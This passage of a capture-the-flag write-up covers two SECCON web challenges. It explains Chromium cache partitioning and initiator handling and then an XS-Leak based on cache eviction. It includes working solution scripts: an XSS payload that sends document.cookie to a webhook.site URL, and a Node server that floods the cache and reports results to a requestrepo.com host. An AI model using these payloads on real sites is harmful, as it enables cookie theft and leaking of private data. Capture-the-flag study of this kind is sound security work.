  <li>Initiator is defined</li>
  <li>Request is a mainframe navigation</li>
  <li>The initiator is cross-site</li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">cn_</code> prefix partitions the HTTP disk cache so that responses obtained through cross-site main-frame navigations are stored separately from same-site and non-navigation requests, reducing the risk of cross-site disk cache poisoning.</p>

<h2 id="initiator-null">Initiator null</h2>

<p>You might notice the first requirement is for the <code class="language-plaintext highlighter-rouge">initiator</code> to be defined. An initiator is null whenever we begin a fresh navigation such as typing a URL into an address bar.</p>

<p>As we browse the web clicking on links and getting client-side redirects our initiator keeps changing to the previous page which initiated the navigation. One important caveat here is that 3XX redirects do <strong>NOT</strong> modify the value of the initiator. What this means is that if I type a URL into my address bar and it redirects me to another website <em>my initiator is still null</em>.</p>

<p>When we run <code class="language-plaintext highlighter-rouge">history.back()</code> our browser must also recover the initiator. If we first navigate to <code class="language-plaintext highlighter-rouge">google.com</code> we will have a null initiator. If we then visit <code class="language-plaintext highlighter-rouge">youtube.com</code> our initiator will be set as <code class="language-plaintext highlighter-rouge">google.com</code> but if press the back button in the browser it will return us to <code class="language-plaintext highlighter-rouge">google.com</code> with the initiator set back to the <code class="language-plaintext highlighter-rouge">null</code> value.</p>

<p>Let’s now explain this in the context of the challenge. We originally visited <code class="language-plaintext highlighter-rouge">/view?html=&lt;XSS&gt;</code> which stored a disk cache entry for our navigation. Because this was a fresh, browser-initiated main-frame navigation, the initiator was null, and the cache entry was therefore created without the <code class="language-plaintext highlighter-rouge">cn_</code> prefix. Afterwards, we visited <code class="language-plaintext highlighter-rouge">/?html=&lt;XSS&gt;</code> which fetched <code class="language-plaintext highlighter-rouge">/view?html=&lt;XSS&gt;</code> and as this is not a mainframe navigation it also didn’t use the <code class="language-plaintext highlighter-rouge">cn_</code> prefix and so it updated the previous cache entry with the payload. When we ran <code class="language-plaintext highlighter-rouge">history.back()</code> we recovered the null initiator and thus loaded the resource containing the payload.</p>
<h2 id="exploiting">Exploiting</h2>

<p>Now that we understand the internals of how the caching mechanism works; it’s time to come up with a plan to exploit this!</p>

<p>We must accomplish two things for this to work:</p>

<ul>
  <li>Get the bot to visit <code class="language-plaintext highlighter-rouge">/?html=&lt;XSS&gt;</code> to populate the cache</li>
  <li>Visit <code class="language-plaintext highlighter-rouge">/view?html=&lt;XSS&gt;</code> with initiator set to `null</li>
</ul>

<p>The solution to this is the following sequence of events:</p>

<ul>
  <li>Visit our website (initiator will be <code class="language-plaintext highlighter-rouge">null</code>)</li>
  <li>Do a <code class="language-plaintext highlighter-rouge">window.open()</code> to <code class="language-plaintext highlighter-rouge">/?html=&lt;XSS&gt;</code> to populate cache</li>
  <li>Redirect top-level to another page storing initiator null in history</li>
  <li>Trigger a <code class="language-plaintext highlighter-rouge">history.back()</code> to recover the null initiator</li>
  <li>This time serve a redirect to <code class="language-plaintext highlighter-rouge">/view?html=&lt;XSS&gt;</code></li>
</ul>

<blockquote>
  <p>We’ll need to serve a <code class="language-plaintext highlighter-rouge">Cache-Control: no-store</code> so our call to <code class="language-plaintext highlighter-rouge">history.back()</code> serves the redirect and not disk cache or bfcache.</p>
</blockquote>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="n">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">redirect</span>

<span class="n">app</span> <span class="o">=</span> <span class="nc">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>

<span class="n">counter</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">PAYLOAD</span> <span class="o">=</span> <span class="sh">"</span><span class="s">&lt;img src=x onerror=fetch(`https://webhook.site/&lt;snip&gt;/${btoa(document.cookie)}`)&gt;</span><span class="sh">"</span>
<span class="n">TARGET</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">http://localhost:3000</span><span class="sh">"</span>


<span class="nd">@app.after_request</span>
<span class="k">def</span> <span class="nf">add_no_cache_headers</span><span class="p">(</span><span class="n">response</span><span class="p">):</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">"</span><span class="s">Cache-Control</span><span class="sh">"</span><span class="p">]</span> <span class="o">=</span> <span class="sh">"</span><span class="s">no-cache, no-store, must-revalidate</span><span class="sh">"</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">"</span><span class="s">Pragma</span><span class="sh">"</span><span class="p">]</span> <span class="o">=</span> <span class="sh">"</span><span class="s">no-cache</span><span class="sh">"</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="sh">"</span><span class="s">Expires</span><span class="sh">"</span><span class="p">]</span> <span class="o">=</span> <span class="sh">"</span><span class="s">0</span><span class="sh">"</span>
    <span class="k">return</span> <span class="n">response</span>



<span class="nd">@app.get</span><span class="p">(</span><span class="sh">"</span><span class="s">/</span><span class="sh">"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">counter</span>
    <span class="n">counter</span> <span class="o">+=</span> <span class="mi">1</span>
    
    <span class="k">if</span> <span class="n">counter</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="sa">f</span><span class="sh">"""</span><span class="s">
        &lt;script&gt;
          var w = window.open(</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET</span><span class="si">}</span><span class="s">/?html=</span><span class="si">{</span><span class="n">PAYLOAD</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">`</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">%60</span><span class="sh">'</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sh">'</span><span class="si">{</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="o">%</span><span class="mi">7</span><span class="sa">B</span><span class="sh">'</span><span class="s">).replace(</span><span class="sh">'</span><span class="si">}</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="o">%</span><span class="mi">7</span><span class="n">D</span><span class="sh">'</span><span class="s">).replace(</span><span class="sh">'</span><span class="o">&lt;</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="o">%</span><span class="mi">3</span><span class="n">C</span><span class="sh">'</span><span class="s">).replace(</span><span class="sh">'</span><span class="o">&gt;</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="o">%</span><span class="mi">3</span><span class="n">E</span><span class="sh">'</span><span class="s">)</span><span class="si">}</span><span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="s">_blank</span><span class="sh">"</span><span class="s">);
          
          function a() 

          setTimeout(a, 2000);
        &lt;/script&gt;
        </span><span class="sh">"""</span><span class="p">.</span><span class="nf">strip</span><span class="p">()</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="nf">redirect</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET</span><span class="si">}</span><span class="s">/view?html=</span><span class="si">{</span><span class="n">PAYLOAD</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>


<span class="nd">@app.get</span><span class="p">(</span><span class="sh">"</span><span class="s">/back</span><span class="sh">"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">back</span><span class="p">():</span>
    <span class="k">return</span> <span class="sh">"""</span><span class="s">
    &lt;script&gt;
      function a() {
        window.history.back();
      }
      setTimeout(a, 1000);
    &lt;/script&gt;
    </span><span class="sh">"""</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="nf">run</span><span class="p">(</span><span class="n">debug</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">host</span><span class="o">=</span><span class="sh">"</span><span class="s">0.0.0.0</span><span class="sh">"</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">3000</span><span class="p">)</span>

</code></pre></div></div>

<p>Above is my solution script. One interesting observation was having to replace the <code class="language-plaintext highlighter-rouge">window.open</code> call to use <code class="language-plaintext highlighter-rouge">PAYLOAD.replace('`', '%60').replace('{', '%7B').replace('}', '%7D').replace('&lt;', '%3C').replace('&gt;', '%3E')</code> which was necessary because the top-level navigation URL encoded these but the request to <code class="language-plaintext highlighter-rouge">fetch()</code> did not. This resulted in a mismatched cache key and so to trigger the vulnerability it was necessary to URL encode these values to match.</p>

<p><code class="language-plaintext highlighter-rouge">SECCON{New_fe4tur3,n3w_bypa55}</code></p>

<h2 id="further-reading-2">Further Reading</h2>

<p><a href="https://gist.github.com/icesfont/a38cf323817a75d61e0612662c6d0476">SVART BOARD - icesfont</a>
<a href="https://groups.google.com/a/chromium.org/g/blink-dev/c/ZpyP6jjCUJE">Cache Partitioning Discussion</a>
<a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;drc=f7ba4f30a3517d40d3698a0afa686720b4db87e2;l=760">Relevant Chromium Source</a>
<a href="https://html.spec.whatwg.org/multipage/browsing-the-web.html#create-navigation-params-by-fetching">Browser Spec</a>
<a href="https://docs.google.com/presentation/d/1StMrI1hNSw_QSmR7bg0w3WcIoYnYIt5K8G2fG01O0IA/edit?slide=id.g2f87bb2d5eb_0_4#slide=id.g2f87bb2d5eb_0_4">Feature Slides</a></p>

<h2 id="webimpossible-leak">web/impossible-leak</h2>

<h2 id="initial-observations-3">Initial Observations</h2>

<p>Opening up the challenge source we see two directories; <code class="language-plaintext highlighter-rouge">web</code> and <code class="language-plaintext highlighter-rouge">bot</code> again.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">page1</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">context</span><span class="p">.</span><span class="nf">newPage</span><span class="p">();</span>
<span class="k">await</span> <span class="nx">page1</span><span class="p">.</span><span class="nf">goto</span><span class="p">(</span><span class="nx">challenge</span><span class="p">.</span><span class="nx">appUrl</span><span class="p">,</span> <span class="p">{</span> <span class="na">timeout</span><span class="p">:</span> <span class="mi">3</span><span class="nx">_000</span> <span class="p">});</span>
<span class="k">await</span> <span class="nx">page1</span><span class="p">.</span><span class="nf">waitForSelector</span><span class="p">(</span><span class="dl">"</span><span class="s2">#create</span><span class="dl">"</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">page1</span><span class="p">.</span><span class="nf">type</span><span class="p">(</span><span class="dl">"</span><span class="s2">#create input[name=note]</span><span class="dl">"</span><span class="p">,</span> <span class="nx">flag</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">page1</span><span class="p">.</span><span class="nf">click</span><span class="p">(</span><span class="dl">"</span><span class="s2">#create input[type=submit]</span><span class="dl">"</span><span class="p">);</span>
<span class="k">await</span> <span class="nf">sleep</span><span class="p">(</span><span class="mi">1</span><span class="nx">_000</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">page1</span><span class="p">.</span><span class="nf">close</span><span class="p">();</span>
<span class="k">await</span> <span class="nf">sleep</span><span class="p">(</span><span class="mi">1</span><span class="nx">_000</span><span class="p">);</span>

<span class="c1">// Visit the given URL</span>
<span class="kd">const</span> <span class="nx">page2</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">context</span><span class="p">.</span><span class="nf">newPage</span><span class="p">();</span>
<span class="k">await</span> <span class="nx">page2</span><span class="p">.</span><span class="nf">goto</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span> <span class="na">timeout</span><span class="p">:</span> <span class="mi">3</span><span class="nx">_000</span> <span class="p">});</span>
<span class="k">await</span> <span class="nf">sleep</span><span class="p">(</span><span class="mi">60</span><span class="nx">_000</span><span class="p">);</span>
<span class="k">await</span> <span class="nx">page2</span><span class="p">.</span><span class="nf">close</span><span class="p">();</span>
</code></pre></div></div>

<p>This time the bot performs a few actions. It will visit the challenge URL and create a note. Then it will close the page and open a new page where it visits a <code class="language-plaintext highlighter-rouge">url</code> provided by the attacker. Then it will sleep for 60 seconds. 60 seconds is far too long for typical XSS attacks so it’s a strong hint towards XS-Leaks.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">express</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">express</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="nx">session</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">express-session</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="nx">crypto</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">node:crypto</span><span class="dl">"</span><span class="p">;</span>

<span class="kd">const</span> <span class="nx">db</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Map</span><span class="p">();</span>
<span class="kd">const</span> <span class="nx">getNotes</span> <span class="o">=</span> <span class="p">(</span><span class="nx">id</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">db</span><span class="p">.</span><span class="nf">has</span><span class="p">(</span><span class="nx">id</span><span class="p">))</span> <span class="nx">db</span><span class="p">.</span><span class="nf">set</span><span class="p">(</span><span class="nx">id</span><span class="p">,</span> <span class="p">[]);</span>
  <span class="k">return</span> <span class="nx">db</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="nx">id</span><span class="p">);</span>
<span class="p">};</span>

<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nf">express</span><span class="p">()</span>
  <span class="p">.</span><span class="nf">set</span><span class="p">(</span><span class="dl">"</span><span class="s2">view engine</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">ejs</span><span class="dl">"</span><span class="p">)</span>
  <span class="p">.</span><span class="nf">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nf">urlencoded</span><span class="p">())</span>
  <span class="p">.</span><span class="nf">use</span><span class="p">(</span>
    <span class="nf">session</span><span class="p">({</span>
      <span class="na">secret</span><span class="p">:</span> <span class="nx">crypto</span><span class="p">.</span><span class="nf">randomBytes</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nf">toString</span><span class="p">(</span><span class="dl">"</span><span class="s2">base64</span><span class="dl">"</span><span class="p">),</span>
      <span class="na">resave</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
      <span class="na">saveUninitialized</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
    <span class="p">})</span>
  <span class="p">);</span>

<span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="p">{</span> <span class="nx">query</span> <span class="o">=</span> <span class="dl">""</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">;</span>
  <span class="kd">const</span> <span class="nx">notes</span> <span class="o">=</span> <span class="nf">getNotes</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">id</span><span class="p">).</span><span class="nf">filter</span><span class="p">((</span><span class="nx">note</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">note</span><span class="p">.</span><span class="nf">includes</span><span class="p">(</span><span class="nx">query</span><span class="p">));</span>
  <span class="nx">res</span><span class="p">.</span><span class="nf">render</span><span class="p">(</span><span class="dl">"</span><span class="s2">index</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="nx">notes</span> <span class="p">});</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="dl">"</span><span class="s2">/new</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">note</span> <span class="o">=</span> <span class="nc">String</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">note</span><span class="p">).</span><span class="nf">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1024</span><span class="p">);</span>
  <span class="nf">getNotes</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">id</span><span class="p">).</span><span class="nf">push</span><span class="p">(</span><span class="nx">note</span><span class="p">);</span>
  <span class="nx">res</span><span class="p">.</span><span class="nf">redirect</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">);</span>
<span class="p">});</span>

<span class="nx">app</span><span class="p">.</span><span class="nf">listen</span><span class="p">(</span><span class="mi">3000</span><span class="p">);</span>
</code></pre></div></div>

<p>The full source code is really small. We can create a note by sending a POST request to <code class="language-plaintext highlighter-rouge">/new</code> where is gets stored in <code class="language-plaintext highlighter-rouge">db</code> which is a <code class="language-plaintext highlighter-rouge">Map</code> type. Subsequently we can visit the index page at <code class="language-plaintext highlighter-rouge">/</code> which takes an optional <code class="language-plaintext highlighter-rouge">query</code> GET parameter. This parameter filters the notes returned to only pass those which contain the query string.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html&gt;</span>
  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;h1&gt;</span>Notes<span class="nt">&lt;/h1&gt;</span>
    <span class="nt">&lt;form</span> <span class="na">id=</span><span class="s">"create"</span> <span class="na">action=</span><span class="s">"/new"</span> <span class="na">method=</span><span class="s">"post"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;div&gt;</span>
        <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"note"</span> <span class="na">required</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Create"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;/div&gt;</span>
    <span class="nt">&lt;/form&gt;</span>
    <span class="nt">&lt;ul&gt;</span>
      <span class="nt">&lt;</span><span class="err">%</span> <span class="na">notes.forEach(note =</span><span class="err">&gt; </span><span class="s">{%</span><span class="nt">&gt;</span>
        <span class="nt">&lt;li&gt;&lt;</span><span class="err">%=</span> <span class="na">note</span> <span class="err">%</span><span class="nt">&gt;&lt;/li&gt;</span>
      <span class="nt">&lt;</span><span class="err">%</span> <span class="err">});</span> <span class="err">%</span><span class="nt">&gt;</span>
    <span class="nt">&lt;/ul&gt;</span>
    <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"/"</span> <span class="na">method=</span><span class="s">"get"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;div&gt;</span>
        <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"query"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Search"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;/div&gt;</span>
    <span class="nt">&lt;/form&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>The above template is how the notes get rendered. For each note returned from the lookup we will create a <code class="language-plaintext highlighter-rouge">&lt;li&gt;</code> element containing the note text. This will display the notes as bullet points on the page.</p>

<h2 id="page-length-oracle">Page Length Oracle</h2>

<p>One of the most obvious ways to detect a successful lookup would be the response size. It will be slightly larger for successful lookups which contain the note content. I counted 442 bytes for an unsuccessful lookup compared to 467 + <code class="language-plaintext highlighter-rouge">flag.length</code> bytes for a successful response.</p>

<p>The size difference is relatively small but given the known flag format (<code class="language-plaintext highlighter-rouge">SECCON{}</code>) we can deduce there is at worst 475 bytes which is a total offset of 33. Could this be detected cross-origin?</p>

<h2 id="disk-cache-oracle">Disk Cache Oracle</h2>

<p>One such idea is to detect disk cache evictions. We can visit <code class="language-plaintext highlighter-rouge">/?query=SECCON{a</code> hundreds of times passing in an extra GET parameter (<code class="language-plaintext highlighter-rouge">&amp;t={i}</code>) each time. If we do this 1000 times we will get a minimum of <code class="language-plaintext highlighter-rouge">OFFSET*1000</code> bytes added into the disk cache.</p>

<p>That would be 33KB of extra disk cache data loaded. If we then subsequently cached some very large pages elsewhere; Chromium will surely at some point have to evict the cache. A naive approach would be to just evict the oldest cache stored. If this were to be the case then we could potentially use this as an oracle to detect a successful search. If we leave just enough room for 1000 unsuccessful page caches (442KB) but not enough for <code class="language-plaintext highlighter-rouge">(467+flag.length)KB</code> then the cache evictions will only take place if the character was successful.</p>

<blockquote>
  <p>This is a simplistic explanation. In reality, caches are much bigger than the response size as they also include headers and metadata such as cache keys.</p>
</blockquote>

<p>It turns out there exists two types of caches; <code class="language-plaintext highlighter-rouge">DISK_CACHE</code> and <code class="language-plaintext highlighter-rouge">MEMORY_CACHE</code> in Chromium. The former is typically larger and is most commonly used. The latter only gets used in incognito mode. Interestingly enough, the bot in this challenge appears to use <code class="language-plaintext highlighter-rouge">MEMORY_CACHE</code> which is the smaller in-memory buffer.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">int</span> <span class="nx">kDefaultCacheSize</span> <span class="o">=</span> <span class="mi">80</span> <span class="o">*</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span><span class="p">;</span>  <span class="c1">// 80 MB</span>
</code></pre></div></div>

<p>As seen above the default cache baseline is 80MB and this is what gets used by the <code class="language-plaintext highlighter-rouge">MEMORY_CACHE</code> buffer.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if </span><span class="p">(</span><span class="nx">type</span> <span class="o">==</span> <span class="nx">net</span><span class="p">::</span><span class="nx">DISK_CACHE</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">#if</span> <span class="o">!</span><span class="nc">BUILDFLAG</span><span class="p">(</span><span class="nx">IS_WIN</span><span class="p">)</span>
  <span class="nx">percent_relative_size</span> <span class="o">=</span> <span class="mi">400</span><span class="p">;</span>
<span class="nx">#endif</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If the type is <code class="language-plaintext highlighter-rouge">DISK_CACHE</code> then the baseline memory is increase by 400% and becomes 320MB.</p>

<blockquote>
  <p>Check the above block of code again. You’ll notice that this increase specifically doesn’t apply to Windows devices. This means they have a consistent baseline cache of 80MB across all browser sessions regardless of cache type.</p>
</blockquote>

<p>The term <em>baseline</em> as used above is important. Things are never simple when browsers are involved and Chromium’s disk cache algorithm is no different. It uses a heuristic approach to scale up the disk cache based on availability of resources.</p>

<p>What is useful for us though is that the <code class="language-plaintext highlighter-rouge">MEMORY_CACHE</code> being used in this challenge won’t apply the heuristics step. Essentially this means we have a fixed-sized buffer of 80MB. Once this amount of memory is used we will begin evicting entries.</p>

<blockquote>
  <p>The eviction algorithm used for both caches is much the same. The least recently used cache entry is typically the first entry available for eviction. Caches will be evicted until the number of bytes used is less than the total cache size.</p>
</blockquote>

<h2 id="solving">Solving</h2>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nf">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">express</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nf">express</span><span class="p">();</span>

<span class="nx">app</span><span class="p">.</span><span class="nf">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nf">json</span><span class="p">());</span>

<span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/gg</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">res</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="s2">`A`</span><span class="p">.</span><span class="nf">repeat</span><span class="p">((</span><span class="mi">1</span><span class="o">*</span><span class="mi">1024</span><span class="o">*</span><span class="mi">1024</span><span class="p">)))</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/rr</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">res</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="s2">`A`</span><span class="p">.</span><span class="nf">repeat</span><span class="p">((</span><span class="mi">1024</span><span class="p">)</span> <span class="o">+</span> <span class="mi">128</span><span class="p">))</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/vaaa</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">)</span>
        <span class="nx">res</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="s2">`A`</span><span class="p">.</span><span class="nf">repeat</span><span class="p">(</span><span class="mi">1024</span><span class="p">))</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">prefix</span> <span class="o">||</span> <span class="o">!</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">check</span><span class="p">)</span> <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">no</span><span class="dl">'</span><span class="p">)</span>
        <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">bot</span><span class="dl">'</span><span class="p">)</span>
        <span class="nx">res</span><span class="p">.</span><span class="nf">send</span><span class="p">(</span><span class="s2">`
&lt;script&gt;
let x = window.open()
const flag = '</span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">prefix</span><span class="p">}</span><span class="s2">'
const check = '</span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">check</span><span class="p">}</span><span class="s2">'
async function df(){
        console.log('doing')
        await fetch('/rr',{cache:'force-cache'})
        for(i=0;i&lt;49;i++) fetch('http://&lt;snip&gt;:5000/gg?'+i+'&amp;'+'A'.repeat(52-flag.length),{cache:'force-cache'})
        for(i=0;i&lt;599;i++) fetch('http://&lt;snip&gt;:5000/vaaa?'+i+'&amp;'+'A'.repeat(52-flag.length),{cache:'force-cache'})
        await new Promise(r =&gt; setTimeout(r, 30000)); // sleeps for 1 second
        for(i=0;i&lt;200;i++){
                let u = 'http://web:3000/?query='+flag+check+'&amp;'+i+'&amp;'
                x.location = u.padEnd(87,'A')
                await new Promise(r =&gt; setTimeout(r, 30)); // sleeps for 1 second
        }
        try{
                await fetch('/rr',{cache: 'only-if-cached', mode: 'same-origin' })
                fetch('https://&lt;snip&gt;.requestrepo.com/?not-correct-</span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">prefix</span><span class="o">+</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">check</span><span class="p">}</span><span class="s2">')
        } catch(e){
                fetch('https://&lt;snip&gt;.requestrepo.com/?found-</span><span class="p">${</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">prefix</span><span class="o">+</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">check</span><span class="p">}</span><span class="s2">')
        }
        console.log('done')
}
df()
&lt;/script&gt;
`</span><span class="p">)</span>
<span class="p">});</span>
<span class="nx">app</span><span class="p">.</span><span class="nf">listen</span><span class="p">(</span><span class="mi">5000</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">SECCON{lumiose_city}</code></p>

<h2 id="further-reading-3">Further Reading</h2>

<p><a href="https://gist.github.com/parrot409/e3b546d3b76e9f9044d22456e4cc8622">parrot409 writeup</a>
